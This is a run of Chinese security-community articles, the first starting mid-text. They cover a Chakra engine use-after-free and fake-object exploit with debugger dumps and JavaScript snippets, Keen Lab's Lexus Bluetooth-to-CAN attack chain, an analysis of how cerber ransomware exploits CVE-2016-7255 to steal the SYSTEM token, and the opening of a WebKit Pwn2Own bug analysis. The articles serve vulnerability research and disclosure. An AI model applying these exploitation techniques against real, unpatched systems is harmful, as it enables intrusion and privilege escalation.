TypeIds_ArrayFirst = TypeIds_Array,
TypeIds_NativeIntArray = 29,
#if ENABLE_COPYONACCESS_ARRAY
TypeIds_CopyOnAccessNativeIntArray = 30,
#endif
TypeIds_NativeFloatArray = 31,
因为我们已经知道了chakra的基址，所以只要在模块内找到一个数字为29的地方即可
type_addr = chakra_base + offset_value_29
最终，我们可以伪造出一个自定义的Array，进而实现AAR/AAW
**0x3**
目前Edge浏览器中关键的对象都是通过MemGC维护，和单纯的引用计数不同，MemGC会自动扫描对象间的依赖关系，从根本上终结了UAF类型的漏洞…
然而，真的是这样完美吗? 被MemGC保护的对象不会出现UAF吗?
有几种情况是MemGC保护不周的，其中的一种情况如下:
如图，这是一个普通的由MemGC维护的对象，addr_A指向object的头部，addr_B指向内部中间的某个位置。
Object2是另外一个由GC维护的对象，在其中有Object1的引用addr_A
此时，如果在js层面free掉Object1，并且触发CollectGarbage，会发现它并没有真的被释放。
然而，如果这样
Object2中引用的是Object1.addr_B，Object1便可以被正常释放掉，从而出现一个指向Object1内部的悬挂指针。
再通过spray等占位的方法，就可以使用Object2访问freed的内容，实现UAF利用。
构造UAF的流程如下:
1.分配由MemGC维护的Object1:
0:023> dq 000002e7`4bfe7de0
000002e7`4bfe7de0 00007ffd`5b7433f0 000002e7`4bfa1380
000002e7`4bfe7df0 00000000`00000000 00000000`00000005
000002e7`4bfe7e00 00000000`00000010 000002e7`4bfe7e20
000002e7`4bfe7e10 000002e7`4bfe7e20 000002e7`4bf6c6a0
000002e7`4bfe7e20 00000010`00000000 00000000`00000012
000002e7`4bfe7e30 00000000`00000000 77777777`77777777
000002e7`4bfe7e40 77777777`77777777 77777777`77777777
000002e7`4bfe7e50 77777777`77777777 77777777`77777777
2.分配由MemGC维护的Object2，其中有Object1+XXX位置的引用:
0:023> dq 000002e7`4bfe40a0
000002e7`4bfe40a0 00000003`00000000 00000000`00000011
000002e7`4bfe40b0 00000000`00000000 000002e7`4c063950
000002e7`4bfe40c0 000002e7`4bfe7de8 00010000`00000003
000002e7`4bfe40d0 80000002`80000002 80000002`80000002
000002e7`4bfe40e0 80000002`80000002 80000002`80000002
000002e7`4bfe40f0 80000002`80000002 80000002`80000002
000002e7`4bfe4100 80000002`80000002 80000002`80000002
000002e7`4bfe4110 80000002`80000002 80000002`80000002
3.释放Object1，并且触发CollectGarbage，可以看到被链入freelist:
0:023> dq 000002e7`4bfe7de0
000002e7`4bfe7de0 000002e7`4bfe7d41 00000000`00000000
000002e7`4bfe7df0 00000000`00000000 00000000`00000000
000002e7`4bfe7e00 00000000`00000000 00000000`00000000
000002e7`4bfe7e10 00000000`00000000 00000000`00000000
000002e7`4bfe7e20 00000000`00000000 00000000`00000000
000002e7`4bfe7e30 00000000`00000000 00000000`00000000
000002e7`4bfe7e40 00000000`00000000 00000000`00000000
000002e7`4bfe7e50 00000000`00000000 00000000`00000000
4.使用Object2引用释放的Object1:
0:023> dq (000002e7`4bfe40a0+0x20) l1
000002e7`4bfe40c0 000002e7`4bfe7de8
要把我们的bug转换成UAF，需要完成两件事情
1.找到一个对象的”内部指针”
2.将这个指针缓存，并可以通过JS层面引用
对于1，可以使用Head与Segment连在一起的Array
000002e7`4bfe7de0 00007ffd`5b7433f0 000002e7`4bfa1380
000002e7`4bfe7df0 00000000`00000000 00000000`00000005
000002e7`4bfe7e00 00000000`00000010 000002e7`4bfe7e20 //指向对象内部的指针
000002e7`4bfe7e10 000002e7`4bfe7e20 000002e7`4bf6c6a0
000002e7`4bfe7e20 00000010`00000000 00000000`00000012
000002e7`4bfe7e30 00000000`00000000 77777777`77777777
对于2，可以通过越界读的能力，将这个指针读入我们可控的Array
现在我们造出了一个UAF，接下来用什么数据结构来填充?
NativeIntArray/NativeFloatArray显然不可以，虽然数据完全可控，但目前我们无法做到信息泄露，所以数据也不知道填什么。
最后我选择了JavaScriptArray，后面会讲为何这样选择。
最终的UAF用JavaScriptArray占位成功后效果如下:
//before free&spray
0000025d`f0296a80 00007ffe`dd2b33f0 0000025d`f0423040
0000025d`f0296a90 00000000`00000000 00000000`00030005
0000025d`f0296aa0 00000000`00000010 0000025d`f0296ac0
0000025d`f0296ab0 0000025d`f0296ac0 0000025d`f021cc80
0000025d`f0296ac0 00000010`00000000 00000000`00000012
0000025d`f0296ad0 00000000`00000000 77777777`77777777
0000025d`f0296ae0 77777777`77777777 77777777`77777777
0000025d`f0296af0 77777777`77777777 77777777`77777777
0000025d`f0296b00 77777777`77777777 77777777`77777777
0000025d`f0296b10 77777777`77777777 77777777`77777777
//after free&spray
0000025d`f0296a80 00000000 00000011 00000011 00000000
0000025d`f0296a90 00000000 00000000 66666666 00010000
0000025d`f0296aa0 66666666 00010000 66666666 00010000
0000025d`f0296ab0 66666666 00010000 66666666 00010000
0000025d`f0296ac0 >66666666 00010000 66666666 00010000
0000025d`f0296ad0 66666666 00010000 66666666 00010000
0000025d`f0296ae0 66666666 00010000 66666666 00010000
0000025d`f0296af0 66666666 00010000 66666666 00010000
0000025d`f0296b00 66666666 00010000 66666666 00010000
0000025d`f0296b10 66666666 00010000 66666666 00010000
下面说下为何用JavaScriptArray占位。
因为Var Array可以存放对象，而判断是否为对象仅仅测试48位是否为0
(((uintptr_t)aValue) >> VarTag_Shift) == 0
所以对于虚表、指针等都可以当做对象以原始形态存入Var Array，这对直接伪造出一个Object来说是极好的。
具体步骤如下:
1.通过越界读，读出下一个Array的vtable、type、segment三个字段。此时我们不知道它们具体的数值是多少，是作为对象缓存的
var JavascriptNativeIntArray_segment = objarr[0]
var JavascriptNativeIntArray_type = objarr[5]
var JavascriptNativeIntArray_vtable = objarr[6]
2.构造UAF，并用fakeobj_vararr占位
0000025d`f0296a80 00000000 00000011 00000011 00000000
0000025d`f0296a90 00000000 00000000 66666666 00010000
0000025d`f0296aa0 66666666 00010000 66666666 00010000
0000025d`f0296ab0 66666666 00010000 66666666 00010000
0000025d`f0296ac0 >66666666 00010000 66666666 00010000
0000025d`f0296ad0 66666666 00010000 66666666 00010000
3.伪造对象
之前缓存的”内部指针”JavascriptNativeIntArray_segment指向的位置，对应fakeobj_vararr第五个元素的位置，如上所示
所以:
fakeobj_vararr[5] = JavascriptNativeIntArray_vtable
fakeobj_vararr[6] = JavascriptNativeIntArray_type
fakeobj_vararr[7] = 0
fakeobj_vararr[8] = 0x00030005
fakeobj_vararr[9] = 0x1234
fakeobj_vararr[10] = uint32arr
fakeobj_vararr[11] = uint32arr
fakeobj_vararr[12] = uint32arr
4.访问伪造的对象
alert(JavascriptNativeIntArray_segment.length)
Exploit:
**总结**
本文描述了一些chakra脚本引擎中漏洞利用的技巧，分为三种不同的利用方式来体现，三种方式并不独立，可以融合成一个更精简稳定的exploit。所描述的bug最终在十一月补丁日，pwnfest前一天，同样被Natalie撞掉了，对应的信息为CVE-2016-7201，比赛最终使用的漏洞及利用方式，会在微软完成修补后讨论。
有问题，可以联系我:
**Weibo:**[ **@holynop** ****](http://weibo.com/holynop) | 社区文章 |
**作者：腾讯科恩实验室
原文链接：<https://keenlab.tencent.com/zh/2020/03/30/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/>**
雷克萨斯从2017年开始已经为多款车型(包括NX、LS、ES等系列)配备新一代的信息娱乐系统，也被称为AVN视听导航设备。与一些智能网联车载系统相比，如特斯拉中控系统和宝马ConnectedDrive系统，雷克萨斯AVN系统会显得更加传统一些。从安全的角度来看，它能够很大程度上降低被潜在的网络安全问题攻击的可能性。但是一个新的系统往往会带来新的安全风险。
科恩实验室对2017款雷克萨斯NX300车型进行安全研究后，在该车型的蓝牙和车辆诊断功能上发现了一系列安全问题，并能够危及到AVN系统、车内CAN网络和相关车载电子控制单元(ECU)的安全性。通过结合利用这些安全问题，科恩实验室能够在无需任何用户交互的情况下，通过无线方式破解并控制汽车的AVN系统，将恶意CAN指令发送到车内CAN网络，从而实现对存在漏洞的车辆执行一些非预期的物理操作。
目前，丰田公司正在推进车辆安全问题修复的解决方案。因此本次报告内容只对研究成果做简要分析，而不是全面的细节披露。如果一切顺利的话，我们将在2021年某个适当的时间点发布完整的漏洞技术报告。
[
## 车载部件概述
基于对2017款雷克萨斯NX300车辆的硬件分析和CAN网络测试，汽车内部的基本架构如下图所示(涉及到AVN、DCM数据通信模块、电子控制单元和CAN网络等)。
[](https://keenlab.tencent.com/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/1.png) 图1.
车载部件架构
### DCM数据通信模块
DCM是一个运行在高通MDM6600基带芯片上的远程信息处理设备，又称为T-Box。它可以通过USB以太网接口为AVN设备提供3G网络来支持远程信息服务。DCM还可以通过CAN总线查询ECU (比如汽车引擎和车门)
的状态信息，并将查询结果上传到云端后台。
### AVN 视听导航设备
作为车载信息娱乐系统，雷克萨斯AVN设备主要为用户提供无线电广播、多媒体和导航功能。实际上，它由两部分组成：DCU显示控制单元和MEU地图多媒体扩展单元。
DCU是AVN单元的关键部件，DCU的主电路板模块暴露了一些常见的攻击面，如Wi-Fi，蓝牙和USB接口。通过DCU
uCOM电路板模块，DCU系统能给通过CAN消息与汽车内部ECU进行间接通信。
MEU地图多媒体扩展单元功能非常透明，它只负责提供地图导航数据。在DCU和MEU之间，还连接了USB以太网线用于消息通信。
### DCU 主电路板模块
通过拆解DCU硬件，我们发现它主要包含两个电路板模块。如下图所示，根据电路板位置，顶层为DCU主电路板模块，底层为DCU uCOM电路板模块。
[](https://keenlab.tencent.com/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/2.png) 图2.
AVN内部的DCU电路板模块
DCU主电路板模块集成了一些常规芯片，包括瑞萨R8A779x SoC芯片[2]， 博通BCM4339 Wi-Fi蓝牙芯片，2块512MB的SDRAM内存芯片，1块8GB的eMMC NAND Flash储存器和1块8MB的SPI NOR
Flash储存器。SoC芯片拥有两个ARM-CortexA15核，用于运行各种代码，包括芯片启动代码(bootrom)、NOR Flash中的U-Boot固件代码以及eMMC Flash中的Linux系统。
在DCU主板背面有一块独立的SPI NOR
Flash储存芯片。根据芯片的数据手册，该存储器总容量为64M-bits。将存储芯片的引脚焊接到通用存储芯片编程器后，并在flashrom软件[3]中选择对应的芯片型号，可以将SPI储存芯片中的所有数据提取出来。通过对提取的数据进行逆向工程后，基本上可以推测出如下图所示的数据存储布局。由于为了支持A/B系统备份更新，Flash存储器中还保存一部分固件镜像和配置数据的副本，比如U-Boot config配置数据、U-Boot Image镜像和BSP Boot config启动配置数据。
[](https://keenlab.tencent.com/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/3.png) 图3.
SPI NOR Flash储存布局 (8MB)
DCU主板还集成了一块8GB的eMMC NAND
Flash芯片用来存储AVN单元的主要代码和数据，包括Linux内核镜像、设备树数据、ramdisk镜像和Ext4文件系统。同时为了实现AVN系统的快速引导启动，Flash中也保存了一份Linux系统的快照镜像。而为了支持A/B系统更新，
Flash中还需要储存Linux内核镜像和ramdisk镜像的副本。整个eMMC Flash的存储布局如下图所示。
[](https://keenlab.tencent.com/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/4.png) 图4.
eMMC NAND Flash储存布局 (8GB)
### DCU uCOM电路板模块
TDCU
uCOM电路板模块的用途是管理电源和一些外部设备，如DVD播放器、空调、触控板和电子时钟。而为了与这些外部设备通信，uCOM电路板上配备了两个CAN总线微控制器(SYSuCOM与CANuCOM)，每个微控制器都和uCOM电路板上独立的CAN总线收发器进行连接。
**CANuCOM**
是DCU显示控制单元中的一个CAN总线控制器。它使用的是瑞萨R5F10PLJL芯片(如图5所示)，通过连接一个CAN总线收发器，CANuCOM可以直接访问汽车的娱乐CAN总线，并且能给与一些车载ECU(如网关和Main
Body ECU)交换CAN消息。
[](https://keenlab.tencent.com/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/5.png) 图5.
DCU uCOM电路板正面
**SYSuCOM**
是一个基于松下MNZLF79WXWUB芯片的CAN总线控制器。通过CAN总线收发器，它可以和位于专用CAN网络域中的触控板和电子时钟进行CAN消息通信。SYSuCOM通过UART串口直接连接了CANuCOM和DCU主电路板，它能给为主电路板和外部设备完成不同类型的消息数据转换。
[](https://keenlab.tencent.com/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/6.png) 图6.
DCU uCOM电路板背面
### 电子控制单元和CAN网络
中央网关是一个重要的汽车ECU，它将车载CAN网络划分为不同的CAN域，包括娱乐CAN、车身CAN、OBD诊断CAN、底盘CAN和动力CAN等。另一个必不可少的ECU是Main
Body ECU，也被称为车身控制模块（BCM）。Main Body
ECU管理了一组用于处理车身相关功能的ECU。DCM模块和AVN属于娱乐CAN域。为了传输CAN消息，DCU
uCOM电路板上设计了2个不同的CAN总线(即CAN-1和CAN-2)。通过uCOM模块，DCU主板模块可以向网关传输特定的CAN消息来查询车辆状态。
* **CAN-1.** CANuCOM 微控制器的CAN总线，它直接连接到车内的娱乐CAN总线。通过UART串口与SYSuCOM通信，CANuCOM可以往娱乐CAN总线间接传输来自DCU主板的CAN消息。
* **CAN-2.** SYSuCOM微控制器的CAN总线，它是一路专用CAN总线，用来连接DCU、触控板以及电子时钟等设备。该CAN总线与车载CAN网络在物理上是隔离的。
* 为了发送CAN消息，DCU主板模块与SYSuCOM建立了两路UART串口(/dev/ttySC1和/dev/ ttysc9)。DCU系统可以将定制的CAN消息发送到/dev/ttySC1串口，这些消息会被中转到CAN-1总线。通过类似的方式，发送到/dev/ttySC9的消息会被转发到CAN-2总线。
## 安全研究成果
以下表中所有的安全研究发现在2017款雷克萨斯NX300车型上验证是有效的，并且在我们向丰田公司提交完整的技术报告及合作交流相应的技术细节之后，丰田也确认了这些安全问题。
[](https://keenlab.tencent.com/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/7.png) 表1.
2017款雷克萨斯 NX300 车型上的安全研究发现
### 无线破解DCU系统
我们利用车载蓝牙服务中的两个漏洞实现在DCU的Linux系统中以root权限远程执行代码。第一个是堆内存越界读漏洞，第二个是堆内存的缓冲区溢出漏洞。这两个漏洞都存在于建立蓝牙连接的过程中，并且是在蓝牙配对之前，这使得针对蓝牙漏洞的利用是完全无需用户接触和交互的。而为了获得受影响车辆的蓝牙MAC地址，如果DCU系统曾经与移动电话配对过，我们就可以用
“Ubertooth One”[4]设备进行无线嗅探到DCU系统 的MAC地址。
此外，DCU系统并不支持安全启动，这意味着整个系统可以被篡改，例如按照惯例替换掉系统启动动画。在完全控制DCU系统之后，我们发现想要任意发送CAN消息并不容易，因为在DCU
uCOM模块中已经实现了CAN消息的过滤机制。但幸运的是，DCU的Linux系统是负责uCOM的固件升级。
### 重构uCOM固件
通过逆向uCOM固件及其固件更新逻辑，我们能够将一个恶意固件重新刷写到uCOM电路板模块中，以此来绕过CAN消息验证，从而可以实现向车辆娱乐CAN总线发送任意CAN消息。
### 传输未授权诊断消息
根据车载诊断系统的实验测试结果，我们确认了被破解后的DCU系统是被允许通过发送未经授权的诊断CAN消息来控制车辆的诊断功能。Main Body
ECU会被恶意诊断从而造成汽车在缺乏认证的情况下执行物理操作。
[](https://keenlab.tencent.com/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/8.png) 图7.
Main Body ECU
## 无线攻击链
通过结合蓝牙和车载诊断功能中的安全发现(见表1)，我们可以实现如下图所示的从蓝牙无线到车内CAN网络的远程无接触式的攻击链。
[](https://keenlab.tencent.com/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/9.png) 图8.
从蓝牙到CAN网络的无线攻击链
* **步骤-1.** 因为车载蓝牙服务是以root权限运行在DCU系统中，一旦DCU系统被蓝牙漏洞攻击破解，恶意代码将会通过无线方式部署并永久驻留在系统中。
* **步骤-2.** 恶意代码可以设计成让被破解后的DCU系统自动连接到我们创建的Wi-Fi热点，并反弹一个远程可交互的系统root shell。
* **步骤-3.** 接着可以利用Wi-Fi网络下的root shell，通过 SYSuCOM和CANuCOM将任意的CAN消息传输到车内CAN总线。
* **步骤-4.** 此外通过利用CAN诊断消息，位于车内CAN网络的一些ECU会被欺骗执行诊断功能，从而使得汽车触发非预期的物理动作。
## 漏洞披露流程
雷克萨斯汽车安全研究是一项道德的安全研究项目。科恩实验室遵循了全球软件和互联网行业公认的负责任的漏洞披露原则，同丰田公司一起合作修复本报告中列出的安全漏洞和攻击链。
以下是详细的漏洞披露时间线:
[](https://keenlab.tencent.com/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/10.png) 表2.
漏洞披露时间线
## 丰田官方回应
丰田对于此次研究的官方回复请参考如下链接：
<https://global.toyota/en/newsroom/corporate/32120629.html>
## 引用
1. <https://keenlab.tencent.com/en/>
2. <https://www.renesas.com/us/en/solutions/automotive/soc/r-car-m2.html>
3. <https://www.flashrom.org/Flashrom>
4. <https://greatscottgadgets.com/ubertoothone/>
5. <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5551>
* * * | 社区文章 |
# 【漏洞分析】“cerber”敲诈者对CVE-2016-7255漏洞利用分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**0x1 前言**
360互联网安全中心近日捕获到一款“ceber”敲诈者木马变种，该变种与其他“ceber”敲诈者木马变种在代码执行流程上并没有太大区别。唯一值得注意的是，该木马利用CVE-2016-7255权限提升漏洞对自身进行提权。本文将分析该敲诈者对CVE-2016-7255权限提升漏洞的利用过程。
**0x2 漏洞细节**
出问题的代码位于win32k!xxxNextWindow中，由于缺少必要的检查直接将tagWND+0xC0成员偏移0x28对应地址中的值与4进行或操作，而tagWND+0xC0又是可控的，从而导致了任意地址写。存在漏洞的代码如下所示。
图1 存在漏洞的代码
图中v12表示的就是tagWND结构体，该结构体如下所示（省略掉部分）。
图2 tagWND结构体
从上图可以看出，tagWND+0xC0对应的是spmenu成员，如果存在用户态函数可以对该成员进行赋值，即可触发任意地址写。对于32位系统而言，可以直接调用SetWindowLong函数，SetWindowLong函数会调用内核态函数NtUserSetWindowLong完成此功能；对于64位系统而言，不存在可以利用的用户态函数，但是可以使用syscall的方式调用内核态函数NtUserSetWindowLong或函数NtUserSetWindowLongPtr来完成这项工作。（以下介绍的是NtUserSetWindowLong函数，NtUserSetWindowLongPtr函数执行流程相同）。
NtUserSetWindowLong函数只是一层外壳，它会将参数传递给xxxSetWindowLong并调用它，该函数如下所示。
图3 xxxSetWindowLong函数
在该函数中会对传入的nIndex进行判断，并根据nIndex的值执行对应的操作。对于nIndex的值为-16，-20，-12，-21的情况，会调用xxxSetWindowData函数进行处理。如下所示。
图4 调用xxxSetWindowData函数进行处理
该函数接收xxxSetWindowLong的参数，当nIndex参数为-12（GWL_ID），且所操作窗口的style为WS_CHILD或WS_CHILDWINDOW（0x40000000）时，会将所操作窗口tagWND结构体的spmenu成员的值设为dwNewLong。如下图所示。
图5 触发漏洞的位置
由于dwNewLong是调用NtUserSetWindowLong函数时传递的参数，用户态进程可以利用syscall随意控制它。而win32k!xxxNextWindow函数会对spmenu+0x28的成员与4进行或操作，因此触发了任意地址写。
**0x3 漏洞利用分析**
从漏洞细节中可以看出，用户态进程拥有对tagWND结构体的spmenu成员的修改权，该成员是个tagMENU结构体，结构体定义如下所示。
图6 tagMENU结构体
不难看出，xxxNextWindow函数修改的值就是spmenu的fFlags成员（偏移0x28），由于对该成员进行与0x4的或操作，因此该漏洞只能修改1bit大小的区域。
只能修改1bit表面上看起来貌似没有多大价值，不过该木马变种并非只把目光集中在这1bit上，而是转移到了tagWND结构体的cbWNDExtra成员，该成员表示的是窗口附加数据的大小。如果能够通过修改窗口附加数据的大小来覆盖关键地址，之后再利用其他方式写入数据，就可达到完美利用。
那么要完成对cbWNDExtra成员的写操作，就必须获取cbWNDExtra成员的地址或者是cbWNDExtra成员相对于某个已知地址的偏移。除外还必须获取附加数据的地址或者是相对于某个已知地址的偏移，以便之后进行计算与写入。对于获取cbWNDExtra成员的地址，该木马创建了两个窗口“ExtraWnd1”和“ExtraWND2”，而这两个窗口的不同之处在于其窗口类的cbWndExtra成员，该成员正好对应tagWND的
cbWNDExtra成员。程序将两个窗口类的cbWndExtra成员分别赋值为0x118和0x130，如下图所示。
图7 创建两个窗口
创建窗口之后就是获取cbWNDExtra成员在tagWND结构体中的偏移，使用的是HMValidateHandle函数。该函数并未在用户态中导出，不过有个用户态函数IsMenu调用了它。木马通过判断IsMenu中相关字节码的位置获取HMValidateHandle的地址。
图8 利用字节码定位函数
HMValidateHandle函数会泄露tagWND结构体的内容，因此木马很容易就能定位cbWNDExtra成员在tagWND结构体中的偏移。为了保险起见，木马判断两个窗口tagWND结构体的cbWNDExtra成员的偏移，当两个cbWNDExtra为注册窗口类时设置的值（0x118和0x130）且偏移相同时才说明该偏移有效。
图9 确定cbWndExtra成员的偏移
在获取cbWNDExtra成员的偏移之后，该获取附加数据的偏移了。附加数据在内核态中是紧跟在tagWND结构体之后的，而SetWindowLong函数可以向窗口写入附加数据，nIndex表示的是写入的初始偏移。该木马调用SetWindowLong函数向附加数据区域的开头写入0x31323334，之后再次调用HMValidateHandle函数并通过比较偏移的内容是否为0x31323334来确定附加数据的偏移。
图10 确定附加数据的偏移
确定关键的两处偏移之后，就该进行漏洞的触发了。由于触发漏洞的窗口必须设置为WS_CHILD或WS_CHILDWINDOW（0x40000000）类型。因此此处调用SetWindowLong函数设置窗口的style。
图11 设置窗口style
然后就是对tagWND结构体的spmenu成员赋值，此时调用的是以GWL_ID做为nIndex参数的NtUserSetWindowLong函数（或NtUserSetWindowLongPtr函数）。该木马会首先确定程序所处的系统环境，如果是32位系统则直接调用SetWindowLong函数完成工作；如果是64位系统，则在用户态中使用syscall并赋予特殊的ID调用NtUserSetWindowLongPtr函数。32位系统环境下和64位系统环境下调用方式如图所示。
图12 32位系统下通过调用SetWindowLong函数调用NtUserSetWindowLong
图13 64位系统使用syscall方式调用NtUserSetWindowLongPtr函数
本文以64位系统为例，syscall ID在不同版本中各不相同，木马在执行漏洞利用之前会先判断操作系统版本并初始化存放不同操作系统版本syscall
ID的数组。在Win7 x64下，该ID为0x133a。
图14 判断系统版本并初始化syscall ID
之前已经获得cbWNDExtra成员在tagWND结构体中的偏移，现在需要获得所操作窗口的tagWND结构体在内核中的地址。幸运的是，tagWND.head.pSelf成员（head成员偏移0x20处）泄露了tagWND结构体在内核中的地址，可以首先通过HMValidateHandle函数获取tagWND结构体的内容进而获取tagWND.head.pSelf成员，从而取得tagWND结构体在内核中的地址。之后对tagWND结构体成员内核地址的获取都是先使用该方法获取tagWND结构体的内核地址再加上相应的偏移。
图15 获取tagWND地址
tagWND的地址加上cbWNDExtra成员的偏移即可得cbWNDExtra成员在内核中的地址。由于xxxNextWindow函数操作的是spmenu成员中的值加上0x28后的结果，而木马的目的是修改cbWNDExtra的值，因此木马将cbWNDExtra成员（大小为4字节）在内核中的地址减去0x28后加上3字节，将该值传递给spmenu，让cbWNDExtra的最高字节与0x4进行或操作。这样原本大小为0的cbWNDExtra就变成了0x4000000。此时窗口的附加数据长度就变为了0x4000000。
完成附加数据长度的增长之后，需要往附加数据中写入特定的值以寻求覆盖一些关键的标志位达到权限提升。该木马使用的方法是再次创建一个窗口，并确保该窗口的tagWND的地址与触发漏洞的窗口的tagWND的地址距离足够小，以保证触发漏洞的窗口的附加数据可以覆盖到该窗口的tagWND。为此，木马在完成该步骤之前创建了100个窗口，并选取两个tagWND结构体地址相差小于0x3fd00的窗口，一个作为触发漏洞的窗口，一个作为利用的窗口。
图16 创建两个窗口进行漏洞触发和利用
选取好两个窗口之后调用xxxNextWindow函数触发漏洞。在用户态中可以模拟按键VK_MENU来触发xxxNextWindow函数的调用。漏洞触发后，窗口1的附加数据长度变为0x4000000，覆盖了窗口2的tagWND结构体。
图17 模拟VK_MENU触发xxxNextWindow函数的调用
木马利用该漏洞的目的是提升权限，因此木马必须对一些重要的标志位，例如进程令牌进行修改。幸运的是，通过检索tagWND结构体的一些成员就能找到可以进行操作的地方。TagWND.head.pti
-> ppi -> Process->
ActiveProcessLinks保存所有进程的EPROCESS对象，木马可以通过检索这些对象获得系统高权限进程的相关信息。
那么木马该如何获得这些信息？由于窗口1的附加数据覆盖了窗口2的tagWND结构体，而且可以调用NtUserSetWindowLongPtr函数（32位下可以调用SetWindowLong函数）对窗口的附加数据进行写操作，这意味着可以操作窗口2的tagWND结构体。如果将某个内核地址写入窗口2的tagWND结构体中的某个成员，再利用其它函数读取该成员的值，就能够读取该内核地址中的值。木马选取的是tagWND的spwndParent成员。该成员偏移为0x58。
图18 利用spwndParent任意读
木马通过syscall调用NtUserSetWindowLongPtr函数写窗口1的附加数据，而数据操作的起始偏移为窗口2tagWND.
spwndParent的内核地址-窗口1附加数据区的起始地址，也就是窗口1附加数据覆盖到窗口2
tagWND结构体spwndParent成员的位置。木马将之前提到的ActiveProcessLinks链表的内核地址写入窗口2
tagWND结构体的spwndParent成员。然后调用GetAncestor函数，该函数实际调用内核态函数NtUserGetAncestor，当gaFlags参数为GA_PARENT（1）时，该函数将读取tagWND结构体的spwndParent成员。
图19 gaFlags参数为1时读取的值
如此一来，木马就能够读取ActiveProcessLinks链表的内核地址，并且可以遍历该链表获取其它进程的EPROCESS对象。木马遍历ActiveProcessLinks链表中每个进程的PID，以获得当前进程的EPROCESS对象。
图20 获得当前进程的EPROCESS对象
之后还会继续遍历链表，获得system进程（PID=4）的EPROCESS对象。
图21 获得system进程的EPROCESS对象
然后木马读取system进程EPROCESS对象偏移0x208的值，也就是token成员，同时也获取当前进程的token成员的内核地址。之后它将用system进程的token替换掉当前进程的token，以达到提权的目的。
图22 读取system进程EPROCESS对象的token成员
图23 读取当前进程EPROCESS对象的token成员
在完成必要的读取操作之后，木马需要将token写入当前进程的EPROCESS对象的相应偏移中，而对于写操作，木马选择了SetWindowText函数。SetWindowText函数会将数据写入tagWND.strname.Buffer,如果可以将tagWND.strname.Buffer修改为当前进程token的内核地址，就可以对当前进程的token进行修改。和之前的原理一样，可以利用syscall调用NtUserSetWindowLongPtr，通过写入数据到窗口1的附加数据区域以覆盖窗口2的tagWND.strname.Buffer成员，即可修改窗口2的tagWND.strname.Buffer为当前进程EPROCESS对象的token成员的内核地址。
图24 获取tagWND.strname.Buffer
之后调用SetWindowText将system进程的token写入到tagWND.strname.Buffer的地址中，也就是用system进程的token代替当前进程的token，从而使当前进程拥有system权限。至此进程提权成功。
图25 cerber敲诈者木马提权成功
**
**
**0x4 缓解机制**
通过微软的补丁可以发现，在对win32k!xxxNextWindow的调用时进行了限制。如下图所示。
图26 缓解机制
在对spmenu.fFlags进行或操作之前会首先判断tagWND的style成员是否为WS_CHILD或WS_CHILDWINDOW（0x40000000），也就是所操作窗口的类型是否为WS_CHILD或WS_CHILDWINDOW，如果窗口类型为WS_CHILD或WS_CHILDWINDOW则跳过此处的操作，不会对spmenu.fFlags进行或操作。由于调用以GWL_ID做为nIndex参数的NtUserSetWindowLongPtr函数的时候，只有当所操作的窗口类型为WS_CHILD或WS_CHILDWINDOW（0x40000000）的情况下才会将dwNewLong参数中的值赋予tagWND.spmenu（见图5），而此处限制了窗口的类型，从而对整个漏洞触发的过程进行了限制。
**0x5 总结**
如今越来越多的恶意程序使用nDay漏洞进行攻击或者辅助自身的攻击，而对此最好的解决方法就是及时打上补丁以阻止恶意攻击。对于用户而言，提高安全意识，不运行安全性未知的程序，为系统及时打上补丁，这些对于防范恶意程序攻击都是非常有必要的。
360安全卫士针对敲诈者木马独家推出了“反勒索服务”，用户在安装360安全卫士并开启该服务的情况下，如果防不住各类敲诈者木马，360负责替用户赔付赎金。 | 社区文章 |
# 深入分析一个Pwn2Own的优质Webkit漏洞
##### 译文声明
本文是翻译文章，文章原作者 thezdi，文章来源：thezdi.com
原文地址：<https://www.thezdi.com/blog/2019/11/25/diving-deep-into-a-pwn2own-winning-webkit-bug>
译文仅供参考，具体内容表达以及含义原文为准。
今年的Pwn2Own比赛刚刚结束，在Pwn2Own温哥华站的比赛中，Fluoroacetate团队所使用的一个WebKit漏洞成功吸引了我的注意。这个漏洞是一个价值五万五千美金的漏洞利用链的一部分，在这篇文章中，我将会对这个漏洞进行深入分析，并对漏洞进行验证和研究。
当然了，在开始深入分析之前，我们先把该漏洞的概念验证PoC提供给大家：
首先，我们需要对受该漏洞影响的WebKit版本进行编译，即Safari v12.0.3版本，根据苹果的版本发布信息，该版本对应的是修订版v240322。
`svn checkout -r 240322 https://svn.webkit.org/repository/webkit/trunk
webkit_ga_asan`
我们可以使用AddressSanitizer(ASAN)来完成编译操作，它可以允许我们在发生内存崩溃的时候第一时间检测到错误信息。
`ZDIs-Mac:webkit_ga_asan zdi$ Tools/Scripts/set-webkit-configuration --asan
ZDIs-Mac:webkit_ga_asan zdi$ Tools/Scripts/build-webkit # --jsc-only can be
used here which should be enough`
我们将使用lldb来进行调试，因为macOS本身就自带了这个工具。由于PoC中没有包含任何的呈现代码，因此我们需要在lldb中使用JavaScriptCore(JSC)来执行它。为了在lldb中执行jsc，我们需要调用它的二进制代码文件，而不是之前的脚本run-jsc。这个文件可以从 WebKitBuild/Release/jsc路径获取，并且需要正确设置环境变量。
env DYLD_FRAMEWORK_PATH=/Users/zdi/webkit_ga_asan/WebKitBuild/Release
我们可以在lldb中运行这条命令，或者把它放在一个文本文件中，然后传递到lldb -s中。
`ZDIs-Mac:webkit_ga_asan zdi$ cat lldb_cmds.txt
env DYLD_FRAMEWORK_PATH=/Users/zdi/webkit_ga_asan/WebKitBuild/Releaser`
好的，接下来，我们可以开始调试了：
